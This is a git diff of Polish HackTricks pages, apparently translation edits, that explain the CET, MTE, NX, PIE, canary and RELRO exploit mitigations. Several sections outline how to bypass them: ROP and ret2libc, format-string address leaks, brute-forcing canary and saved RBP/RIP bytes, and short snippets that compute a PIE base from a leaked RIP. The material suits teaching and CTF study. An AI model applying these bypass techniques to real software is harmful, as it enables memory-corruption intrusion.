**CET** to funkcja bezpieczeństwa zaimplementowana na poziomie sprzętowym, zaprojektowana w celu zwalczania powszechnych ataków na kontrolę przepływu, takich jak **Return-Oriented Programming (ROP)** i **Jump-Oriented Programming (JOP)**. Te rodzaje ataków manipulują przepływem wykonania programu, aby wykonać złośliwy kod lub połączyć ze sobą fragmenty nieszkodliwego kodu w taki sposób, aby wykonać złośliwą akcję.
|
||||
**CET** to funkcja bezpieczeństwa zaimplementowana na poziomie sprzętowym, zaprojektowana w celu zwalczania powszechnych ataków na kontrolę przepływu, takich jak **Return-Oriented Programming (ROP)** i **Jump-Oriented Programming (JOP)**. Te rodzaje ataków manipulują przepływem wykonania programu, aby wykonać złośliwy kod lub połączyć ze sobą fragmenty nieszkodliwego kodu w taki sposób, który wykonuje złośliwą akcję.
|
||||
|
||||
CET wprowadza dwie główne funkcje: **Indirect Branch Tracking (IBT)** i **Shadow Stack**.
|
||||
|
||||
* **IBT** zapewnia, że skoki i wywołania pośrednie są wykonywane do prawidłowych celów, które są jawnie oznaczone jako legalne miejsca docelowe dla skoków pośrednich. Osiąga się to za pomocą nowego zestawu instrukcji, które oznaczają prawidłowe cele, uniemożliwiając atakującym zmianę przepływu kontroli do dowolnych lokalizacji.
|
||||
* **Shadow Stack** to mechanizm zapewniający integralność adresów powrotu. Przechowuje zabezpieczoną, ukrytą kopię adresów powrotu oddzielnie od zwykłego stosu wywołań. Po zakończeniu funkcji adres powrotu jest weryfikowany względem shadow stack, uniemożliwiając atakującym nadpisanie adresów powrotu na stosie w celu przejęcia kontroli.
|
||||
* **Shadow Stack** to mechanizm zapewniający integralność adresów powrotu. Przechowuje zabezpieczoną, ukrytą kopię adresów powrotu oddzielnie od zwykłego stosu wywołań. Po zakończeniu funkcji adres powrotu jest weryfikowany względem shadow stack, uniemożliwiając atakującym nadpisanie adresów powrotu na stosie w celu przejęcia kontroli nad przepływem.
|
||||
|
||||
## Shadow Stack
|
||||
|
||||
**Shadow stack** to **dedykowany stos używany wyłącznie do przechowywania adresów powrotu**. Działa obok zwykłego stosu, ale jest chroniony i ukryty przed normalnym wykonaniem programu, co sprawia, że trudno jest atakującym manipulować nim. Głównym celem shadow stack jest zapewnienie wykrywania wszelkich modyfikacji adresów powrotu na zwykłym stosie przed ich użyciem, skutecznie łagodząc ataki ROP.
|
||||
**Shadow stack** to **dedykowany stos używany wyłącznie do przechowywania adresów powrotu**. Działa obok zwykłego stosu, ale jest chroniony i ukryty przed normalnym wykonaniem programu, co utrudnia atakującym manipulowanie nim. Głównym celem shadow stack jest zapewnienie, że wszelkie modyfikacje adresów powrotu na zwykłym stosie zostaną wykryte, zanim zostaną użyte, skutecznie łagodząc ataki ROP.
|
||||
|
||||
## Jak CET i Shadow Stack Zapobiegają Atakom
|
||||
|
||||
Ataki **ROP i JOP** polegają na zdolności przejęcia kontroli nad aplikacją poprzez wykorzystanie podatności, które pozwalają na nadpisanie wskaźników lub adresów powrotu na stosie. Poprzez kierowanie przepływu do istniejących gadżetów kodu lub gadżetów programowania zorientowanego na powroty, atakujący mogą wykonać dowolny kod.
|
||||
Ataki **ROP i JOP** polegają na zdolności przejęcia kontroli nad przepływem aplikacji poprzez wykorzystanie podatności, które pozwalają na nadpisanie wskaźników lub adresów powrotu na stosie. Kierując przepływ do sekwencji istniejących gadżetów kodowych lub gadżetów programowania zorientowanego na powroty, atakujący mogą wykonać dowolny kod.
|
||||
|
||||
* Funkcja **IBT CET** znacznie utrudnia te ataki, zapewniając, że skoki pośrednie mogą skakać tylko do adresów, które zostały jawnie oznaczone jako prawidłowe cele. Uniemożliwia to atakującym wykonanie dowolnych gadżetów rozproszonych w całym pliku binarnym.
|
||||
* **Shadow stack** z kolei zapewnia, że nawet jeśli atakujący może nadpisać adres powrotu na normalnym stosie, różnica zostanie wykryta podczas porównywania skorumpowanego adresu z bezpieczną kopią przechowywaną w shadow stack podczas powrotu z funkcji. Jeśli adresy się nie zgadzają, program może zakończyć działanie lub podjąć inne środki bezpieczeństwa, uniemożliwiając powodzenie ataku.
|
||||
* **Shadow stack** z kolei zapewnia, że nawet jeśli atakujący może nadpisać adres powrotu na normalnym stosie, **różnica zostanie wykryta** podczas porównywania skorumpowanego adresu z bezpieczną kopią przechowywaną w shadow stack po powrocie z funkcji. Jeśli adresy się nie zgadzają, program może zakończyć działanie lub podjąć inne środki bezpieczeństwa, uniemożliwiając powodzenie ataku.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -10,23 +10,23 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Rozszerzenie oznaczania pamięci (MTE) zostało zaprojektowane w celu zwiększenia niezawodności i bezpieczeństwa oprogramowania poprzez **wykrywanie i zapobieganie błędom związanym z pamięcią**, takim jak przepełnienia bufora i podatności na użycie po zwolnieniu. MTE, jako część architektury **ARM**, zapewnia mechanizm dołączania **małej etykiety do każdej alokacji pamięci** oraz **odpowiadającej etykiety do każdego wskaźnika** odwołującego się do tej pamięci. Ten podejście pozwala na wykrywanie nielegalnych dostępów do pamięci w czasie wykonania, znacznie zmniejszając ryzyko wykorzystania takich podatności do wykonania arbitralnego kodu.
|
||||
**Rozszerzenie oznaczania pamięci (MTE)** zostało zaprojektowane w celu poprawy niezawodności i bezpieczeństwa oprogramowania poprzez **wykrywanie i zapobieganie błędom związanym z pamięcią**, takim jak przepełnienia bufora i podatności typu użyj-po-zwolnieniu. MTE, jako część architektury **ARM**, zapewnia mechanizm dołączania **małej etykiety do każdej alokacji pamięci** oraz **odpowiadającej etykiety do każdego wskaźnika** odnoszącego się do tej pamięci. Ten podejście umożliwia wykrywanie nielegalnych dostępów do pamięci w czasie wykonywania, znacznie zmniejszając ryzyko wykorzystania takich podatności do wykonania arbitralnego kodu.
|
||||
|
||||
### **Jak działa rozszerzenie oznaczania pamięci**
|
||||
|
||||
MTE działa poprzez **podział pamięci na małe bloki o stałym rozmiarze, z przypisaną etykietą do każdego bloku**, zazwyczaj kilka bitów w rozmiarze. 
|
||||
MTE działa poprzez **podział pamięci na małe bloki o stałym rozmiarze, z przypisaną do każdego bloku etykietą**, zwykle kilka bitów w rozmiarze. 
|
||||
|
||||
Gdy tworzony jest wskaźnik wskazujący na tę pamięć, otrzymuje on tę samą etykietę. Ta etykieta jest przechowywana w **nieużywanych bitach wskaźnika pamięci**, efektywnie łącząc wskaźnik z odpowiadającym mu blokiem pamięci.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1199).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
Gdy program uzyskuje dostęp do pamięci za pomocą wskaźnika, sprzęt MTE sprawdza, czy **etykieta wskaźnika odpowiada etykiecie bloku pamięci**. Jeśli etykiety **się nie zgadzają**, oznacza to **nielegalny dostęp do pamięci**.
|
||||
Gdy program uzyskuje dostęp do pamięci za pomocą wskaźnika, sprzęt MTE sprawdza, czy **etykieta wskaźnika odpowiada etykiecie bloku pamięci**. Jeśli **etykiety się nie zgadzają**, oznacza to **nielegalny dostęp do pamięci**.
|
||||
|
||||
### Etykiety wskaźników MTE
|
||||
|
||||
|
|
@ -40,7 +40,7 @@ Dlatego pozwala to na **16 różnych wartości etykiet**.
|
|||
|
||||
Każde **16B pamięci fizycznej** ma odpowiadającą **etykietę pamięci**.
|
||||
|
||||
Etykiety pamięci są przechowywane w **dedykowanej strefie RAM** (niedostępnej do normalnego użytku). Posiadanie etykiet 4-bitowych dla każdych 16B etykiet pamięci zajmuje do 3% pamięci RAM.
|
||||
Etykiety pamięci są przechowywane w **dedykowanej strefie RAM** (niedostępnej do normalnego użytku). Posiadanie etykiet 4 bitów dla każdych 16B etykiet pamięci zajmuje do 3% RAM.
|
||||
|
||||
ARM wprowadza następujące instrukcje do manipulowania tymi etykietami w dedykowanej pamięci RAM:
|
||||
```
|
||||
|
|
@ -66,8 +66,8 @@ CPU sprawdza tagi **asynchronicznie**, a gdy zostanie znaleziona niezgodność,
|
|||
|
||||
## Przykłady implementacji i wykrywania
|
||||
|
||||
Nazywane Hardware Tag-Based KASAN, MTE-based KASAN lub in-kernel MTE.\
|
||||
Alokatory jądra (np. `kmalloc`) będą **wywoływać ten moduł**, który przygotuje tag do użycia (losowo) i dołączy go do zaalokowanej przestrzeni jądra oraz do zwróconego wskaźnika.
|
||||
Nazywane sprzętowym KASAN opartym na tagach, KASAN opartym na MTE lub w jądrze MTE.\
|
||||
Alokatory jądra (takie jak `kmalloc`) będą **wywoływać ten moduł**, który przygotuje tag do użycia (losowo) i dołączy go do zaalokowanej przestrzeni jądra oraz do zwróconego wskaźnika.
|
||||
|
||||
Należy zauważyć, że zostaną oznaczone tylko wystarczające granule pamięci (16B każdy) dla żądanej wielkości. Dlatego jeśli żądana wielkość wynosiła 35, a przydzielono kawałek o wielkości 60B, zostanie oznaczonych pierwszych 16\*3 = 48B tym tagiem, a **reszta** zostanie **oznaczona** tzw. **nieprawidłowym tagiem (0xE)**.
|
||||
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS w dziedzinie hakerskiej dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -16,18 +16,18 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja bezpieczeństwa oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **przepełnienia bufora**. Gdy jest zaimplementowany i włączony, rozróżnia obszary pamięci przeznaczone do **kodu wykonywalnego** od tych przeznaczonych dla **danych**, takich jak **stos** i **sterta**. Podstawowym pomysłem jest zapobieżenie atakującemu wykonaniu złośliwego kodu poprzez wykorzystanie podatności na przepełnienie bufora, umieszczając na przykład złośliwy kod na stosie i kierując do niego przepływ wykonania.
|
||||
Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja bezpieczeństwa oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **przepełnienia bufora**. Gdy jest zaimplementowany i włączony, rozróżnia między obszarami pamięci przeznaczonymi do **kodu wykonywalnego** a tymi przeznaczonymi dla **danych**, takimi jak **stos** i **sterta**. Podstawowym celem jest zapobieżenie atakującemu wykonania złośliwego kodu poprzez wykorzystanie podatności na przepełnienie bufora, umieszczając na przykład złośliwy kod na stosie i kierując przepływ wykonania do niego.
|
||||
|
||||
## Bypassy
|
||||
|
||||
* Możliwe jest użycie technik takich jak [**ROP**](../rop-return-oriented-programing/) do ominięcia tej ochrony poprzez wykonanie fragmentów kodu wykonywalnego już obecnego w pliku binarnym.
|
||||
* Możliwe jest użycie technik takich jak [**ROP**](../rop-return-oriented-programing/) **do ominięcia** tej ochrony poprzez wykonanie fragmentów kodu wykonywalnego już obecnego w pliku binarnym.
|
||||
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS w dziedzinie hakerskiej dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
|
|||
|
|
@ -16,18 +16,18 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Binarny skompilowany jako PIE, czyli **Position Independent Executable**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, co uniemożliwia użycie adresów zahardkodowanych.
|
||||
Binarny skompilowany jako PIE, czyli **wykonywalny o pozycji niezależnej**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, co uniemożliwia użycie adresów zahardkodowanych.
|
||||
|
||||
Sztuka wykorzystania tych binarnych plików polega na wykorzystaniu **adresów względnych** - przesunięcia między częściami programu pozostają takie same, nawet jeśli bezwzględne lokalizacje się zmieniają. Aby **obejść PIE, wystarczy wyciek jednego adresu**, zwykle ze **stosu**, korzystając z podatności, takich jak ataki formatowania łańcucha. Gdy już masz adres, możesz obliczyć inne za pomocą ich **ustalonych przesunięć**.
|
||||
Sztuka wykorzystania tych binarnych plików polega na wykorzystaniu **adresów względnych** - przesunięcia między częściami programu pozostają takie same, nawet jeśli bezwzględne lokalizacje się zmieniają. Aby **obejść PIE, wystarczy wyciek jednego adresu**, zwykle ze **stosu**, korzystając z podatności, takich jak ataki formatowania łańcucha. Gdy już masz adres, możesz obliczyć inne za pomocą ich **stałych przesunięć**.
|
||||
|
||||
Przydatna wskazówka przy eksploatacji binarnych plików PIE to to, że ich **adres bazowy zazwyczaj kończy się na 000** ze względu na to, że strony pamięci są jednostkami losowania, o wielkości 0x1000 bajtów. To wyrównanie może być kluczowym **sprawdzeniem, czy exploit nie działa** zgodnie z oczekiwaniami, wskazując, czy zidentyfikowano poprawny adres bazowy.\
|
||||
Lub możesz użyć tego do swojego exploitu, jeśli wyciekasz, że adres znajduje się pod adresem **`0x649e1024`**, wiesz, że **adres bazowy to `0x649e1000`** i stamtąd możesz po prostu **obliczyć przesunięcia** funkcji i lokalizacji.
|
||||
Lub możesz użyć tego do swojego exploitu, jeśli wyciekasz, że adres znajduje się pod **`0x649e1024`**, wiesz, że **adres bazowy to `0x649e1000`** i stamtąd możesz po prostu **obliczyć przesunięcia** funkcji i lokalizacji.
|
||||
|
||||
## Ominięcia
|
||||
|
||||
Aby ominąć PIE, konieczne jest **wyciekanie pewnego adresu załadowanego** binarnego, istnieją na to różne opcje:
|
||||
|
||||
* **Wyłączony ASLR**: Jeśli ASLR jest wyłączony, binarny skompilowany z PIE zawsze **będzie ładowany pod tym samym adresem**, dlatego **PIE będzie bezużyteczny**, ponieważ adresy obiektów zawsze będą w tym samym miejscu.
|
||||
* **Wyłączony ASLR**: Jeśli ASLR jest wyłączony, binarny skompilowany z PIE zawsze **będzie ładowany pod tym samym adresem**, dlatego **PIE będzie bezużyteczne**, ponieważ adresy obiektów zawsze będą w tym samym miejscu.
|
||||
* **Otrzymanie** wycieku (częste w łatwych wyzwaniach CTF, [**sprawdź ten przykład**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
* **Próbuj** wartości EBP i EIP na stosie, aż wyciekniesz poprawne:
|
||||
|
||||
|
|
@ -35,7 +35,7 @@ Aby ominąć PIE, konieczne jest **wyciekanie pewnego adresu załadowanego** bin
|
|||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Użyj podatności na odczyt arbitralny, takiej jak [**format string**](../../format-strings/), aby wyciec adres binarny (np. ze stosu, jak w poprzedniej technice) i uzyskać bazę binarną, a następnie użyć przesunięć stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
* Użyj podatności na **dowolne odczytywanie**, takie jak [**łańcuchy formatujące**](../../format-strings/), aby wyciec adres binarny (np. ze stosu, jak w poprzedniej technice) i uzyskać bazę binarną, a następnie użyć przesunięć stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Odnośniki
|
||||
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -10,26 +10,26 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Jeśli masz do czynienia z binarnym plikiem zabezpieczonym przez canary i PIE (Position Independent Executable), prawdopodobnie będziesz musiał znaleźć sposób na ich obejście.**
|
||||
**Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie będziesz musiał znaleźć sposób na ich obejście.**
|
||||
|
||||
.png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Zauważ, że **`checksec`** może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on skompilowany statycznie i nie jest w stanie zidentyfikować funkcji.\
|
||||
Możesz jednak zauważyć to ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji, a następnie sprawdzana przed wyjściem.
|
||||
Możesz jednak zauważyć to ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji, a następnie ta wartość jest sprawdzana przed wyjściem.
|
||||
{% endhint %}
|
||||
|
||||
## Adresy BF
|
||||
## Adresy BF (Brute-Force)
|
||||
|
||||
Aby ominąć PIE, musisz **wyciec pewien adres**. Jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest **przeprowadzić atak siłowy na RBP i RIP zapisane na stosie** w podatnej funkcji.\
|
||||
Na przykład, jeśli binarny plik jest chroniony zarówno przez **canary**, jak i **PIE**, możesz zacząć atak siłowy od canary, a następnie **następne** 8 bajtów (x64) będą zapisane jako **RBP**, a **kolejne** 8 bajtów będą zapisane jako **RIP**.
|
||||
Aby **obejść PIE**, musisz **wyciec pewien adres**. Jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest **przeprowadzić atak siłowy na RBP i RIP zapisane na stosie** w podatnej funkcji.\
|
||||
Na przykład, jeśli binarny plik jest chroniony zarówno przez **canary**, jak i **PIE**, możesz zacząć atak siłowy na canary, a następnie **następne** 8 bajtów (x64) będą zapisane jako **RBP**, a **kolejne** 8 bajtów będą zapisane jako **RIP**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Założenie jest takie, że adres powrotu na stosie należy do kodu binarnego głównego, co w przypadku, gdy podatność znajduje się w kodzie binarnym, zazwyczaj będzie prawdą.
|
||||
Założenie jest takie, że adres powrotu na stosie należy do kodu binarnego głównego, co w przypadku, gdy podatność znajduje się w kodzie binarnym, zazwyczaj jest prawdą.
|
||||
{% endhint %}
|
||||
|
||||
Aby przeprowadzić atak siłowy na RBP i RIP z binarnego pliku, możesz ustalić, że poprawny zgadnięty bajt jest poprawny, jeśli program coś wypisze lub po prostu nie ulegnie awarii. **Ta sama funkcja**, co ta używana do ataku siłowego na canary, może być użyta do ataku siłowego na RBP i RIP:
|
||||
|
|
@ -87,11 +87,11 @@ Z **RBP** możesz obliczyć **gdzie zapisujesz swój shell w stosie**. Może to
|
|||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
Z **RIP** można obliczyć **adres bazowy binariów PIE**, który będzie potrzebny do stworzenia **poprawnego łańcucha ROP**.\
|
||||
Aby obliczyć adres bazowy, wystarczy wykonać polecenie `objdump -d vunbinary` i sprawdzić ostatnie adresy rozkładów:
|
||||
Aby obliczyć adres bazowy, wystarczy wykonać polecenie `objdump -d vunbinary` i sprawdzić ostatnie adresy rozkodowania:
|
||||
|
||||
.png>)
|
||||
|
||||
W tym przykładzie widać, że potrzebne jest tylko **1,5 bajta**, aby zlokalizować cały kod, więc adres bazowy w tej sytuacji będzie **wyciekiem RIP, ale zakończonym na "000"**. Na przykład, jeśli wyciekłeś `0x562002970ecf`, adres bazowy będzie wynosił `0x562002970000`
|
||||
W tym przykładzie widać, że potrzebne jest tylko **1,5 bajta**, aby zlokalizować cały kod, więc adres bazowy w tej sytuacji będzie to **wycieknięty RIP, ale zakończony na "000"**. Na przykład, jeśli wyciekł adres `0x562002970ecf`, adres bazowy będzie wynosił `0x562002970000`
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
|
|
@ -103,7 +103,7 @@ Zgodnie z tym postem zaleca się dodanie krótkiego opóźnienia między żądan
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
|
|||
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -26,14 +26,16 @@ To **nie zapobiega nadużywaniu GOT** z podatności na **dowolne zapisy**.
|
|||
|
||||
### **Pełny RELRO**
|
||||
|
||||
**Pełny RELRO** podnosi ochronę poprzez **ustawienie GOT i sekcji .fini\_array** jako całkowicie **tylko do odczytu.** Gdy binarny się uruchamia, wszystkie adresy funkcji są rozwiązane i załadowane do GOT, a następnie GOT jest oznaczane jako tylko do odczytu, skutecznie zapobiegając jakimkolwiek modyfikacjom podczas działania.
|
||||
**Pełny RELRO** podnosi ochronę poprzez **całkowite oznaczenie GOT i sekcji .fini\_array jako tylko do odczytu.** Gdy binarny się uruchamia, wszystkie adresy funkcji są rozwiązywane i ładowane do GOT, a następnie GOT jest oznaczane jako tylko do odczytu, skutecznie uniemożliwiając jakiekolwiek modyfikacje podczas działania.
|
||||
|
||||
Jednakże, w przypadku Pełnego RELRO, istnieje wymiana wydajności i czasu uruchamiania. Ponieważ wymaga to rozwiązania wszystkich symboli dynamicznych podczas uruchamiania przed oznaczeniem GOT jako tylko do odczytu, **binaria z włączonym Pełnym RELRO mogą doświadczyć dłuższych czasów ładowania**. Dodatkowe obciążenie podczas uruchamiania to powód, dla którego Pełny RELRO nie jest domyślnie włączony we wszystkich binariach.
|
||||
Jednakże, w przypadku Pełnego RELRO, pojawia się kompromis pod względem wydajności i czasu uruchamiania. Ponieważ należy rozwiązać wszystkie symbole dynamiczne podczas uruchamiania przed oznaczeniem GOT jako tylko do odczytu, **binaria z włączonym Pełnym RELRO mogą doświadczyć dłuższych czasów ładowania**. Dodatkowe obciążenie podczas uruchamiania to powód, dla którego Pełny RELRO nie jest domyślnie włączony we wszystkich binariach.
|
||||
|
||||
Można sprawdzić, czy Pełny RELRO jest włączony w binariach za pomocą:
|
||||
Można sprawdzić, czy Pełny RELRO jest **włączony** w binariach za pomocą:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
## Bypass
|
||||
|
||||
Jeśli pełne RELRO jest włączone, jedynym sposobem na jego obejście jest znalezienie innego sposobu, który nie wymaga zapisu do tabeli GOT w celu uzyskania dowolnego wykonania.
|
||||
Jeśli pełne RELRO jest włączone, jedynym sposobem na jego ominięcie jest znalezienie innego sposobu, który nie wymaga zapisu do tabeli GOT, aby uzyskać dowolne wykonanie.
|
||||
|
||||
